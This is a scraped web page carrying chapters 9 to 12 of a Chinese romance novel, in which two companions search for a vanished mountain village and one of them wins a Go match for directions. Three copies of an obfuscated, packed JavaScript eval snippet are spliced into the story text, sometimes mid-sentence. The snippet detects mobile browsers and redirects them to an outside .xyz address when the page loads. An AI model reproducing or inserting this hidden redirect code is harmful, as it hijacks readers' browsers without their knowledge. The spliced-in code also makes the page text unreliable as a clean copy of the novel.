;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374099|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就主动提出自己去结账。 然而当她拿着账单、痛心疾首地从收银处回来的时候,无意间发现了李西宴的脸色不对,他冷白色的面颊上浮现出了两坨异常的潮红。 再一联想她今早洗漱时并没有在卫生间内感受到水汽残留的潮热……乔小沐就算是再迟钝也能够察觉到危机,惊慌担忧地将手搭在了李西宴的额头上:“你早上用凉水洗澡了?” 她的手心一片滚烫。 李西宴却握住了乔小沐的手腕,动作温柔地将她的手拿了下去,但并未逞强,温声开口:“也没想到会发烧,吃两片退烧药就好了,只是接下来的这段路就需要辛苦乔老板了。” 乔小沐气急败坏:“这么冷的天,你傻么你用凉水洗澡?这里的海拔还那么高,你不发烧谁发烧?” 狠狠地教训完李西宴之后,乔小沐才气冲冲地推开了副驾驶的车门,先绕到了车尾,打开后备箱从医药箱里找出了退烧药,然后才去了驾驶室一侧。 李西宴就着乔小沐递来的矿泉水喝完了药,然后发挥了大长腿的优势,一步跨到了副驾驶的位置。 乔小沐移驾到了驾驶位,扣安全带的时候,还没好气地说了句:“扣钱!扣钱!我要扣你的钱!” 李西宴低声一笑,嗓音微有些沙哑:“确实是我的失职,该扣。” 乔小沐一边开车一边冷冰冰地回道:“我知道你有钱,看不上这二百,但你可别拿豆包不当干粮,我扣得不只是你的钱,还有对于你工作态度的失望。李西宴,我简直对你太失望了!” 李西宴:“……”真厉害呀,一下子上纲上线了。 乔小沐:“所以我要把你今天的工资全部扣光!”以弥补我加油的亏损。 图穷匕见,黑心商人终于露出了自己的真正目的。 虚弱的病号无奈地叹了口气:“只要给口饭吃就行。” 乔小沐:“那肯定还是会给你口饭吃的呀,我又不是周扒皮。” 李西宴:“……”你除了不姓周之外,哪都像是周扒皮。 好在接下来的路途比较平坦,乔小沐顺顺当当地开到了县城,火速找了家早餐店,给李西宴买了碗热粥。 兴许是热粥起到了驱寒的作用,更兴许是退烧药起到了治疗的效用,早餐过后,李西宴的体温暂时恢复了正常,面颊上的潮红也褪去了。 但为了确保李西宴能得到充足的休息,乔小沐没再让他当司机,自己鼓起勇气独当一面地开车,让李西宴躺在副驾驶睡觉。 三头镇距离C县还有三四个小时的车程,并且全是盘旋曲折的盘山公路。乔小沐从没开过这种路。 昨日还下了雨,空气湿润,山顶云雾盘旋,视野丝毫不开阔。乔小沐紧张到手心直出汗,谨慎到不能再谨慎,仅三四个小时的车程愣是让她开了六七个小时。 更糟糕的是,在这期间,李西宴又发起了高烧,量了三次体温,最低的一次也有38.5度。 抵达三头镇的时候已经将近下午三点。 镇子不大,从头到尾只有一条大路,路两旁鳞次栉比的伫立着各色建筑。镇上也没大医院,乔小沐直接将车开到了诊所门口。 小诊所下药就是猛,直接给李西宴开了两桶吊瓶。等他打完吊瓶,天色也黑透了。 烧是退了,但人还是虚弱,病去如抽丝。 小镇子上也没大型旅馆,只有两家招待所,乔小沐选择了看起来比较大的一家,带着病号去开了房。 前台问乔小沐开几间房?乔小沐下意识地想回答两间,但话到嘴边了,忽然想起了了什么,转身回头,看向了面色憔悴、虚弱无力地坐在对面沙发上的李西宴。 万一他半夜又烧起来怎么办? 可别死在这儿了。 乔小沐只是黑心,但并不是没心……乔小沐靠着柜台,以手扶额,长长地叹了口气之后,回答前台:“一间标间。”住一起还方便她照顾他。 “58一晚。” 乔小沐把自己和李西宴的身份证递了过去,前台麻利地为他们办理入住。 李西宴无声地牵起了唇角,对着乔小沐的后背悄悄笑了一下,目光如水般细腻温柔。 头顶的灯光并不明亮,狭窄的大厅内装修破败。 周遭的一切都黯淡无光。 唯有她无比鲜明。 10. 第 10 章 小诊所还给李西宴开了几包药。到了房间后,乔小沐先用自带的热水壶烧了一壶水,盯着李西宴把药吃了,然后才拿着自己的洗漱包去了卫生间。 小地方的招待所设施简陋,卫生间还不在房间内,想要洗漱或者方便的话,只能外出去位于走廊中部的公用洗手间。 不过在这种穷乡僻壤的地方,也不能对住宿环境有太高的要求。 等乔小沐洗漱完回来的时候,李西宴已经躺在床上睡着了,眉头微蹙,双目紧闭,双颊绯红,神情憔悴却又楚楚动人。 不会晕过去了吧? 乔小沐略有些紧张,赶忙走到了床边,伸手摸了摸李西宴的额头……还好,不烫,看来只是睡过去了、吧? 之所以会忽然疑惑,是因为乔小沐的余光忽然扫到了放在床头的那一兜用灰白色纸片包裹着的小药包。 小诊所下药如此之猛烈,很难不怀疑李西宴是在药物的作用下陷入了昏迷。 但他现在既然已经不烧了,应该就不会再有什么大碍了吧?好好睡一觉起来估计就没事儿了。 乔小沐关心李西宴,但关心的并不是很多,轻而易举地就说服了自己,然后就不再管李西宴了,心安理得地抱着平板坐到了旁边的那张小床上,打开地图浏览起了附近的地形地貌。 刚才在楼下开房的时候,她顺便向前台大姐询问了一下有关“八沟杜鹃村”的消息,然而前台却对八沟杜鹃村一无所知。 前台大姐已经在三头镇上生活了十几年,乔小沐由此判断,要么是因为刘婶儿提供的信息不对,要么是因为八沟杜鹃村早已改了名,但无论是那种可能,都无法通过她的个人能力进行确认。 地图上显示,围绕着三头镇的全是覆盖着的绿色植被的连绵山脉,偶尔有几座小型的村庄坐落在大山中,所以也不排除八沟杜鹃村就是这些村庄中的其中之一。 乔小沐决定明天再去镇子里打听打听消息。 早六点半的闹钟一响,乔小沐就睁开了眼睛,迅速抓起手机关闭了闹钟,紧接着就看向了隔壁床。 好在李西宴睡得沉,并未被闹钟吵醒。 乔小沐起床后的第一件事就是去摸李西宴的额头,确认他的高烧彻底退去了之后,她长长地舒了口气,但她也没有喊醒李西宴,洗漱完就独自出了门。 三头镇不大,从头到尾就只有一条主街。乔小沐吃完早餐之后,就开始了“寻村”之路,从开设在街口的第一家商户问起:“您好,请问一下您知道八沟杜鹃村在哪儿么?” 大部分人的回答是:“不知道,没听说过。” 小部分人的回答是:“不太清楚,你去别家问问吧。” 眼瞧着距离街尾越来越近,乔小沐的心情也越来越沮丧,然而天无绝人之路,一家卖粮油的老板告诉她,可以去问问那个坐在街尾大树下下棋的老头儿,他兴许知道。 乔小沐相当激动地向粮油店老板表达了感谢,兴冲冲地跑去了街尾,然后,碰了一鼻子的灰。 李西宴也没想到自己能一觉睡到九点,旁侧的小床被褥整齐,乔小沐早已不知去向。 洗漱完回来后,李西宴本想给乔小沐打个电话,然而才刚拿起手机,房门就被用力推开了,乔小沐气冲冲地走进了房间:“什么人呀!太过分了!实在是太过分了!” 李西宴立即询问道:“怎么了?” 乔小沐双手掐腰,柳眉倒竖,满面愤怒:“我客客气气地去问那老头儿知不知道八沟杜鹃村,那老头儿说他知道,但不告诉我,除非我下棋能赢过他,不然他这辈子都不会告诉我!” 乔小沐又没好气地说:“我只是打听个消息而已,我还说了我很着急,家里有病患时日无多,我甚至提出了我愿意付钱打听,但他还是不同意,非让我跟他下棋,我又不会下棋!” 李西宴:“下什么棋?” “围棋!”乔小沐长叹一口气,沮丧不已地看着李西宴,“你会吗?” 李西宴:“会一点儿。” 乔小沐:“!” 其实她也是随口一问,没想到李西宴还真的会? 乔小沐的眼睛瞬间就亮了:“你现在感觉怎么样了?还难受么?能不能去跟那个老头儿下棋?” 李西宴微微蹙眉,面露为难:“能是能,但就是、有点饿。” “我请你吃饭!”黑心商人乔小沐难得大方一次,“就在这个镇上,你想吃什么随便点!” 李西宴笑了一下:“吃不了太油腻的,吃点清淡的吧。” 那可太好了,吃清淡的还花不了几个钱。 李西宴还怪好养的。 十五分钟后,乔小沐带着李西宴去到了一家卖擀面条的餐馆,点了两碗清汤面,还特意让店家给李西宴的那碗面里加了两颗荷包蛋。 老板娘将煮好的热汤面送来时,李西宴顺便向她打听了句:“镇上下棋的那位老先生,水平怎么样?” 虽然李西宴并没有明示出来到底是哪位老先生,但老板娘不假思索地就确认了目标人物:“你问周大爷啊?厉害着呢,十里八乡好多人都来镇上和他对局,还有好多县城里、省城里会下棋的人听说了他之后特地跑到了我们镇上来找他下棋,没几个能赢得了他的。” 乔小沐心头一沉,心想:完了! 店面不大,老板在后厨听到了俩人的对话,扯着嗓子吆喝了声:“镇上人都喊他孤独求败。” 老板娘应声而笑,乔小沐却一点儿都笑不出来。 老板娘又反问了李西宴一句:“怎么?你也是来找周大爷下棋的?” 李西宴神色平和地点了点头:“嗯。” 老板娘轻叹口气:“看来你也是个爱挑战高难度的,但不管怎么说吧,多和这种老家伙下下棋也是好事儿,就算是输了也能积累一些对战经验,失败是成功之母嘛。” 显而易见,老板娘就没觉得李西宴能赢。 李西宴也没反驳,淡然一笑,很温和有礼地回了句:“多谢鼓励。” 老板娘竟还有些不好意思了,一边挥着手一边说:“哎呦哎呦,不用谢不用谢。”话还没说完呢,她就扭头走开了,同时在心里不断感慨着:小伙子长得真俊啊,一笑起来跟大明星似的,声音也好听,弄的人怪害羞的……哎呀哎呀,都半老徐娘了怎么还害羞呢? 乔小沐则是满面愁容,等到老板娘走开之后,她悄悄问了李西宴一句:“你能赢么?” 那大爷可是摆明了说了,除非能赢他,不然绝不提供任何有关八沟杜鹃村的消息。 哎、高手的脾气果然古怪,乔小沐苦不堪言。 李西宴想了想,道:“其实我也好多年没下棋了,不知道自己现在的水平如何。” 那岂不是下不过的意思? 乔小沐更愁了,但只要有一丝希望,她都不会轻易放弃,当机立断鼓励起了李西宴:“你肯定行,肯定能赢,我特别看好你!” “你为什么看好我?”李西宴面色沉静,语气认真,看似是一本正经地询问乔小沐,眼眸却带着温柔笑意。 乔小沐果断选择拍马屁:“因为您一看就成熟稳重、深藏不露,像四爷您这种深沉的人呀,做什么事都会成功的!嗯!”说完,还用力地点了点头,以表双重肯定。 李西宴神不改色:“赢了有奖励么?” 乔小沐:“……”黑心商人的危机感在跳动,势必要紧紧捂住自己的钱包。 乔小沐闭口不提钱的事儿:“当然有,但具体奖励什么我得好好想想。” 李西宴却说:“我可以自己选择奖品么?” 乔小沐:“……”真是躲得过初一躲不过十五。 但是为了得到有关八沟杜鹃村的消息,乔小沐不得不向狡猾的资本家妥协:“那、你先说说,你想要什么吧。” 李西宴目光专注,认真开口:“我想要三十杯乔老板亲手做的咖啡。” 乔小沐:“就这?”不要钱,只要咖啡? 李西宴点头:“嗯。” 那可太好啦! 乔小沐喜出望外,当机立断就点了头:“当然可以,没问题,我回去就给你发三十张咖啡券,想喝随时来找我。”但紧接着,乔小沐的话风又忽然一转,“那你要是输了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374100|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 李西宴神色平静,不疾不徐:“任由乔老板惩罚。” 乔小沐:“哼,你要是输了,我们就得不到有效信息了,就找不到八沟杜鹃村了,就完不成这单生意了,后果很严重的!” 李西宴:“所以?” 乔小沐毫不留情:“我会把你的酬劳全部扣光!” 李西宴:“……”嗯,还是那个熟悉的黑心老板。 主街街尾伫立着一棵高大的樟树,树干粗壮,树冠如盖。阳光照耀下,很有历史的底蕴和苍劲的气势。 树下支着一张桌子,桌上摆着一张色泽暗淡的老棋盘,一黑一白两盒棋子。 桌边坐着一位身穿黑色皮夹克、蓝色牛仔裤的灰发老者,他有着鹰一般犀利矍铄的眼眸,正在专心致志地研究棋牌上摆布着的一盘残局。 一位身穿白色冲锋衣的年轻人忽然坐在了老者对面的那张凳子上。 老者抬头,看向了那位戴着银丝边眼镜、气质文雅的年轻男人。 在年轻男人的背后,还站着一位身穿浅粉色冲锋衣、双手掐腰而站的年轻女人。 老者见过这个女孩,早上来找过他,在他这儿吃了闭门羹,气冲冲地走了,却没想到她竟然又回来了。 “你找的帮手?”老者似笑非笑地看着女孩。 “对!”乔小沐用力点头,气势汹汹地站在李西宴身后,给李西宴撑场面,“职业九段,肯定能赢你!” 其实她压根不清楚围棋的段位到底是什么规则,更不清楚李西宴到底有没有段位、是不是职业选手,但她在网上查了,职业九段就是最高段位,所以不假思索地就给李西宴安插上了“职业九段”的名头。 老者见多识广,自然不会被轻易糊弄:“是不是职业九段不用你说,棋盘上走几步我就能知道。” 李西宴谦逊一笑,温文尔雅:“那就有劳您多多指教了。” 两人收了残局,猜先开盘,白抓黑猜,李西宴猜对了奇数,执黑先行。 围棋犹如两国交战,棋盘纵横十九路,一共三百六十一位目,谁占据的地盘多谁就赢。 金角银边草肚皮是更古不变的定论,执黑第一步通常是落在四角的星位周围,占据角位处的“地势”。执白第一步亦是如此。 李西宴用右手的食指和中指从棋盒中夹出了一枚黑棋,落在了右上角的星位上,以示对老者的尊重。 乔小沐看不懂棋,但她却看得懂手,李西宴的手,真好看呀,尤其是用两指指尖夹着黑色棋子往棋盘上落下的那一刻,既有笃定气势又不失清冷韵味,越发彰显的白皙修长、骨节分明, 到了第五步,四角星位已全部被占,执黑者有时会选择继续占据边位的目数,俗称布局;有时会选择巩固已占角位;有时则会选择进攻对方星位,挂角或者点三三。 李西宴选择了进攻,常规小飞挂。 周大爷想要试一试李西宴棋技如何,便选择了一个常规定势应对,李西宴也按部就班地走起了定势,周大爷心下了然:此人下棋路数一板一眼,毫无变数,水平一般,估计到不了中盘就要认输。 然而不出三步,李西宴的棋路骤然一变,跳脱出了定势之外,开始根据现行局势落子布局。 下围棋,最重要就是大局观,是以高段位选手每下一步之前,都已经在心中预想到了后续的无数步。 胸中有沟壑者,方能胜出。 周大爷神情一凛,不由得认真对待了起来。黑白双方又在棋盘上走了十几步后,角部战况基本尘埃落定。周大爷抬眼,深深地看了坐在对面的年轻人一眼,略有些懊恼自己方才的轻敌。 棋品见人品。 这小子,长得斯文儒雅人模狗样,其实内里狡猾着呢,切开是黑的,走出的每一步棋都带着算计和陷阱,相当之擅长运筹帷幄、排兵布阵。 杀气倒是不重,但招招举重若轻。 老爷子又抬眸,看了一眼掐着腰、趾高气昂站在李西宴身后的乔小沐,在心里哼了一声:臭丫头,你就瞎得瑟吧,老头子我要是输了,你更赢不了,他能把你吃得死死的! 11. 第 11 章 今天的阳光相当明媚,但却像是水晶球中的光芒,只有亮度没有温度。 乔小沐百无聊赖地站在高大的樟树下,将双手从冲锋衣的口袋中拿了出来,捂在嘴前呼了几口热气,双掌相抵搓了又搓,然后又吸了一下被冻红的鼻子,从李西宴身后探出脑袋,好奇地看了一眼棋盘上的局势。 虽然她什么都看不懂,但明显能感觉到对面周大爷的步履维艰。大爷的出棋速度越来越慢了,思考的时间越来越长,显然是遇到了困境,挣扎着试图破局。 李西宴估算了一下黑棋现今所占据的目数,至少超越白棋20目以上,纵使是贴目也赢得绰绰有余。 就在这时,李西宴忽然感觉额前一凉,乔小沐再度将自己的手心贴在了他的额头上。 确认他的体温正常之后,乔小沐放心地舒了口气,一边垂手一边心有余悸地感慨道:“幸好不烫,我真担心你用脑过度、cpu高速运转之后又产生了不可磨灭的热量。” 李西宴忍俊不禁,温声回复道:“已经好了。”然而在说完这句话之后,他却忽然别过了脑袋,像是控制不住身体的不适,拳抵唇畔,抑制地低咳了几声,挺拔的脊背微微弓起,看起来相当憔悴虚弱。 乔小沐赶紧从包里掏出了保温杯,拧开瓶盖递到了李西宴的嘴边。 周大爷撩起眼皮,冷冷地睨了一眼对面的小年轻,本就恶劣的心情越发糟糕:要下棋就好好下棋,装什么病号呢?生怕人家小闺女不够关心你是吧? 年纪轻轻的,真是诡计多端。 唯有老狐狸才能看透小狐狸。 周大爷在心里冷哼了一声,又垂下了眼皮,再度看向了棋盘……其实,也没什么好看的了。小狐狸的诡道之术,青出于蓝而胜于蓝。 只听对面的周大爷忽然叹了口气,紧接着,他就将夹在手中的那枚白棋放在了棋盘右侧最下方角落处的那个位置上。 李西宴了然,白方认输了。 乔小沐却不明就里,悄声询问李西宴:“这什么意思?” 李西宴回头,笑意温柔地看向她:“意思是你可以向这位老先生打听八沟杜鹃村了。” “你赢啦?”乔小沐不可思议喜出望外。 李西宴点头:“嗯。” 真是出乎预料呀! 乔小沐一直对面馆老板和老板娘的话深信不疑,真以为周大爷是打遍天下无敌手的独孤求败呢,没想到李西宴竟然轻轻松松地就将人给赢了。看来,周大爷的水平,也不过如此嘛! 但其实面馆的老板和老板娘还真没夸大其词地欺骗乔小沐,是她太低估了李西宴的水平而已。 “其实我早就知道你能赢,我特别看好你!”乔小沐先违心地恭维了李西宴一句,然后立即从自己的口袋中掏出了一张黑白色老照片,蹲到了周大爷旁边,“大爷,现在您可以告诉我八沟杜鹃村在哪里了吧?” 愿赌服输,周大爷冷哼一声,终于从乔小沐的手中将那张老照片接了过来,仔细地看了看,缓缓开了口:“这张照片我见过。” 乔小沐震惊又激动:“真的么?您在哪儿见过?什么时候的事儿?”她递过去的那张照片,就是刘婶儿她大嫂阿娟年轻时站在自己家门口的杜鹃花丛中拍摄的那张黑白照,距今已五十年。 周大爷看着照片,陷入了回忆:“那个时候我还正在上小学,家里有个叔叔是地质调查员,每次外出勘查的时候都带着相机,后来有一天,他带着我去县城取洗出来的相片,我好奇地翻看了几张,只有这张照片里面带着人,我就问他这漂亮姐姐是谁?他说不认识,随手帮人家拍的。” 乔小沐:“后来你见到照片上的姑娘了么?” 周大爷点头:“见到了,真人比照片还漂亮,也怪不得我那叔叔愿意浪费一张胶卷免费帮她拍照呢,谁看见了站在花丛中的美人不会心动?想把美好事物定格在一个永恒的瞬间是人类的本能。” 乔小沐不可否认周大爷的话,甚至因为这番话脑补出了其他的剧情:“你那个叔叔,后来又见过照片中的姑娘么?” 周大爷摇头,叹息着说:“没有,他原本跟姑娘约好了,让她来镇上找他取相片,但在临见面的前一天,他忽然接到了外出勘查的任务,一走就是好几个月,只好把照片交给了我,让我帮他转交。后来就再也没见过那个姑娘。” “啊……”乔小沐心生遗憾,“就这么错过了。” 周大爷:“是啊,错过了,姑娘还给他带了枝杜鹃花当回礼呢……哎,人这一辈子,就是个阴差阳错,成也阴差阳错,败也阴差阳错。” 乔小沐还是没法儿反驳大爷。你大爷就是你大爷,对于人生的感悟都如此的深刻动人。 乔小沐默默地为这段还没来及开始就宣告结束的青涩纯爱故事默哀了三秒钟,然后言归正传:“所以,八沟杜鹃村到底在哪里?” “早就没有八沟杜鹃村了。”周大爷道,“三十年前八沟杜鹃村改名虎头村,因为那片的山势像是一头窝着的老虎,村子刚好位于虎头的位置。又过了十年,发生了一场洪水,全村迁移,现在那个村子的原址起码已经被废弃了二十年。” 乔小沐却说:“废弃不废弃不重要,我只是想知道八沟杜鹃村在哪里,我必须找到它。” 乔小沐又指向了照片中的漂亮姑娘,语气温和又笃定地说道:“她叫阿娟,远嫁外地多年,现在得了癌症,已经时日无多,流连病榻之际,唯一的遗憾是没能在有生之年再看一眼自己的家乡。我这次来就是为了能够让阿娟在临终前再看一眼自己的家。哪怕变成了一片废墟,也是她朝思暮想的家。” 人人都想落叶归根,魂归故里。 周大爷也已到了耳顺之年,心有所触,目露悲悯,遗憾开口:“我大概知道在哪儿,你有地图么?我给你圈一下位置。” 乔小沐用力点头,立即卸下了背在肩头的书包,翻找起了平板。 看着她忙忙碌碌的样子,周大爷忽然意识到,这小闺女并非他想象中的那么傻白甜,她是有些单纯,却又带着一股强大的韧劲儿,知世故而不世故,是一位温柔又善良的小姑娘。 周大爷又撩起眼皮瞥向了对面,毫不意外地看到那位戴着银丝框眼镜的英俊年轻人正在专心致志地盯着这位小闺女看,透明镜片洁净清冷,但后方的目光却温柔炽热,夹裹着难以隐藏的爱意与欣赏……看来这小子并不只是因为见色起意。 在男女爱情中,色必不可少,但欣赏更重要。 但是这小闺女对这小伙子又是什么态度呢?周大爷看不太出来,起码没从乔小沐的眼神里读出来。 乔小沐打开了地图模式,将平板和电容笔递过去的时候,周大爷好奇地问了句:“你们俩什么关系?” 不等乔小沐开口呢,李西宴就相当笃定地回答了问题:“夫妻。” 乔小沐并不想承认自己和李西宴是夫妻,毕竟没感情,但转念一想,可别又被举报卖/淫/嫖/娼了,索性就没反驳,默认了李西宴的话。 “哦。”周大爷了然,没再多问,接过了乔小沐递来的平板和电容笔,在山脉纵横的地图上仔细研究了起来,最终用电容笔在一处山坳的位置圈了个红圈,“八沟杜鹃村的遗址应该就在这儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374101|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔小沐拿回平板,放大地图看了一眼,当即面露愁容:“我的天,路上怎么这么多道山沟?” 周大爷:“不然为什么叫八沟杜鹃村?” 乔小沐:“……”合着“八沟”是这样来的? 周大爷又提醒道:“你这地图联网的吧?山里面可没信号,到时候可能会不管用。” 乔小沐:“我下载的卫星地图,不需要网络。” 周大爷:“那也需要用电,大山里可没充电的地方,这儿的天气还阴晴不定,万一下雨了,你这电子小玩意儿不就被淋坏了么?可别忘了,山沟里还有水呢,你这玩意儿敢泡水么?” 乔小沐一愣,这才意识到自己疏忽大意了,应该带一份纸质地图来的,再不济打印一份也行啊! 人在大城市里生活的时间久了,就会过度依赖电子产品,从而忽略大自然的多样性。 就在乔小沐准备询问大爷镇上有没有打印店的时候,李西宴忽然开了口:“我带了三头镇的地图,指南针也准备了。” 乔小沐喜出望外,兴高采烈地看着周大爷:“他都带了!” 周大爷被乔小沐渲染了情绪,忍俊不禁:“看来你男人比你靠谱。” 乔小沐:“……”可恶,竟然被李西宴比下去了!上学的时候最讨厌这种万事俱备的好学生了! 感谢了周大爷之后,两人就向大爷告别了。 返回招待所的途中,乔小沐对李西宴说了句:“现在马上十二点,我即刻就出发,应该能在太阳落山之前找到八沟杜鹃村。” 李西宴眉头微蹙,略有些诧异:“你自己?”计划中竟然没他。 “我自己就行。”李西宴虽然帮她赢了棋,但乔小沐还是决定卸磨杀驴,之后她又瞟了李西宴一眼,冷幽幽地说了句,“谁知道你半路会不会发烧?万一你又病倒了,我岂不是多了个拖油瓶?” 好啊,原来是嫌弃他了。 李西宴不置可否,不动声色地发问:“找到之后呢?” 乔小沐:“抓紧时间拍几张照片,摘朵杜鹃花,然后再马不停蹄地往回赶。” 李西宴:“晚上山里可没路灯,黑的伸手不见五指,说不定还会有野狼出没,你敢自己一个人走么?” 乔小沐:“……”你是认真的还是在吓唬我啊? 李西宴是在认真地吓唬她:“古有怪志,夜幕降临,山野寂静,常有阴兵借道,冤鬼出没,活人肩头立有六盏生火,左右各三盏,故而独自一人走夜路时,背后忽然有人拍你的肩膀,千万不要回头。” 乔小沐瑟瑟发抖,却又按耐不住好奇:“为、为什么呀?” 李西宴并未故意压低嗓音渲染神秘感,嗓音一如既往的低沉从容,反而越发显得真实瘆人了:“因为那只你从背后突如其来的鬼手是为了灭你肩膀的灯,你回头的那一瞬间,生火就会被你自己气息吹灭,孤魂野鬼就可以顺利占据你的身体了。” 乔小沐:“……”好奇害死猫。 想象一下,独自一人行走在伸手不见五指的漆黑又冰冷的深山里,周围树影重重,夜风习习,耳畔回荡着的只有自己的脚步声,忽然间,又多了道陌生的脚步声,似有若无,一阵轻一阵重,紧接着,一只冰冷灰白的手,从背后,拍了她的肩膀……救命! 说话间,两人就已走到了招待所门口。 李西宴不再啰嗦,干脆又真诚地向乔小沐告别:“时间也不早了,你快出发吧,注意安全早去早回,我在这里等你。” 乔小沐:“……”啊?我自己? 你,你这人,咋这样呢?! 12.第 12 章 人类的恐惧皆来自于未知。 乔小沐彻底被李西宴唬住了,越想越觉得自己单独行动的计划实在是不稳妥,先不说深山里到底有没有野狼和野鬼,最可怕的是遇到心怀不轨的“野”人,到时候可真是叫天天不灵叫地地不应。 找个靠谱的人结伴而行是最佳选择。 但又觉得李西宴实在是太坏了,干嘛要讲鬼故事吓唬她? 乔小沐愠怒地咬住了下唇,两道眉毛都要飞到天上去了。 李西宴打量着她的脸色,迟疑着问:“乔老板有话要说?” 乔小沐双手攥拳,狠狠地咬了咬后槽牙,不情不愿地开了口:“你想不想,和我一起,去?” 每一个字,都咬牙切齿的。 李西宴微微蹙眉,面露为难:“可我万一半路又发烧了怎么办?你岂不是多了个拖油瓶?” 乔小沐:“……”好,好好好,好你个李西宴! 乔小沐深深地吸了口气,超级违心地说了句:“没关系的,我不介意,我可以照顾你。” 李西宴神色一怔,露出了一副受宠若惊的表情:“真的不介意?” “……” 太会演了,乔小沐现在都有点儿分不清他到底是在真心实意地询问她还是在欲拒还迎。 乔小沐硬着头皮挤出来了一个和善的笑容:“真的。” 李西宴却抿起薄唇,犹豫了片刻之后,轻叹口气,以一种无奈的语气开了口:“既然乔老板盛情相邀,那李某就恭敬不如从命了。” 乔小沐:“……”你还勉为其难上了? 乔小沐顿时有种哑巴吃黄连的感觉,有苦说不出,她明明没想带着李西宴一起去的,现在怎么就变成了她“逼良为娼”呢? 由此一来,乔小沐在心中得出了结论:李西宴此人甚为狡诈,有潜移默化扭转乾坤之能,故而必须多加提防,不然就会被他牵着鼻子走。 八沟杜鹃村所在的山坳入口距离三头镇还有一段距离,为了节约时间,乔小沐和李西宴决定驱车前往,还是李西宴负责开车—— 他赢了棋,黑心商人乔小沐肯定不能再扣除他今天的工资,而且她都已经往里面搭进去三十杯咖啡了,肯定不能再继续往李西宴身上投入人力,所以必须人尽其用,哪怕是小病初愈也得让他发挥司机的职能 ——不然她这二百块钱不就白花了么? 就这她还没管他算医药费呢。 “我真是个仁慈的老板。”乔小沐如是心想。 大概三十分钟之后,李西宴将车停到了目的地附近。两人一同下了车,徒步寻找起来了山坳入口。 附近的村落早已迁徙,来往行人日渐稀疏,土质马路逐渐被废弃,路面杂草丛生,坑坑洼洼,碎石遍地,无比荒凉。 道路两侧皆铺满了半人高的杂草丛。视线顺着草丛往远处延展,就会看到一座座连绵起伏的大山,层峦叠嶂,巍峨屹立。 突然间,乔小沐激动地高喊了声:“找到了!” 李西宴立即走了过去,在凌乱无序的杂草丛下方,看到了一条掩映着的小路。 乔小沐一边看指南针一边说:“根据方向判断,这条路应该就是通往八沟杜鹃村的唯一一条道路。” 李西宴推了一下鼻梁上架着的眼镜,思考着说:“村子地处偏远交通闭塞,又被废弃了太久,地图上没有更新数据也情有可原,但是通过现有的资料分析,这应该是一条顺着水流延伸的土路。” 现有资料就是他们手里拿着的纸质地图和平板上下载的卫星地图。 现有地图上没有八沟杜鹃村的踪迹,但却清晰地显示了山川河流的脉络。 李西宴又补充道:“周老说附近村子的迁移是因为洪水频发,所以我们必须需要做好涉水而行的准备。” 换言之,路可能早就被水淹了。 虽然乔小沐早就做好了淌水沟的准备,但是:“你的意思是说,浅沟可能会变成深渠?” 李西宴点头:“嗯。”也不得不提醒她,“这里气候多变,万一突然下雨,水势还会上涨。” 乔小沐:“……”也是啊,要不是自然灾害频发,附近村落干嘛要统一迁徙? 乔小沐闭上了眼睛,长长地叹了口气……这单生意,她总共就收刘婶儿二百块钱,又要跋山又要涉水,简直是得不偿失啊。 李西宴:“还要继续前进么?” 乔小沐不假思索:“那肯定呀,来都来了!” 来都来了,华夏人民的核心驱动力之一。 李西宴:“那就走吧。” 乔小沐一愣,诧异地看了李西宴一眼:“这么干脆果断?前路莫测,你也不犹豫一下啊?” 李西宴轻叹口气,一本正经地回了句:“哪敢犹豫?再被扣了工钱今天又要白干。” 乔小沐:“……”你这么光明正大地吐槽老板合适么?看来我必须找个由头把你今天的工钱扣光才行!哼! 李西宴打头阵,拨开了挡路的杂草,率先踏上了那条曲折蜿蜒的小路。乔小沐紧随其后。 没过多久,乔小沐就听到了流水声。 拨开小路尽头的杂草丛,一道绵长的水沟横梗在了两人的面前。 李西宴分析得没错,这条路确实已经被水淹了,但眼下的情况暂不紧急,水沟很浅,直接脚踩着就过去了,水面都没没过脚背。 又往前行进了二里路,又出现了一道水沟,这次的水深比此前一次深一些,到乔小沐的小腿肚,但也不是难题,不阻碍行动。 然而越往深山里走,遇到的水沟越多,水流越急。 遇到的最宽的一条水沟目测能有五米远,水质呈土黄色,相当浑浊,乔小沐也无法预估这道水沟到底有多深。 好在李西宴户外经验丰富,仅通过目测周围环境和水质便判断出来了这条宽沟大概不会太深,然后就直接下了水,亲身去测量深度。 乔小沐站在岸边看的一愣一愣,总觉得李西宴是在仗着他的那双大长腿肆意妄为。 结果还真让李西宴给猜准了,水不算是太深,最深处仅到他的大腿根。 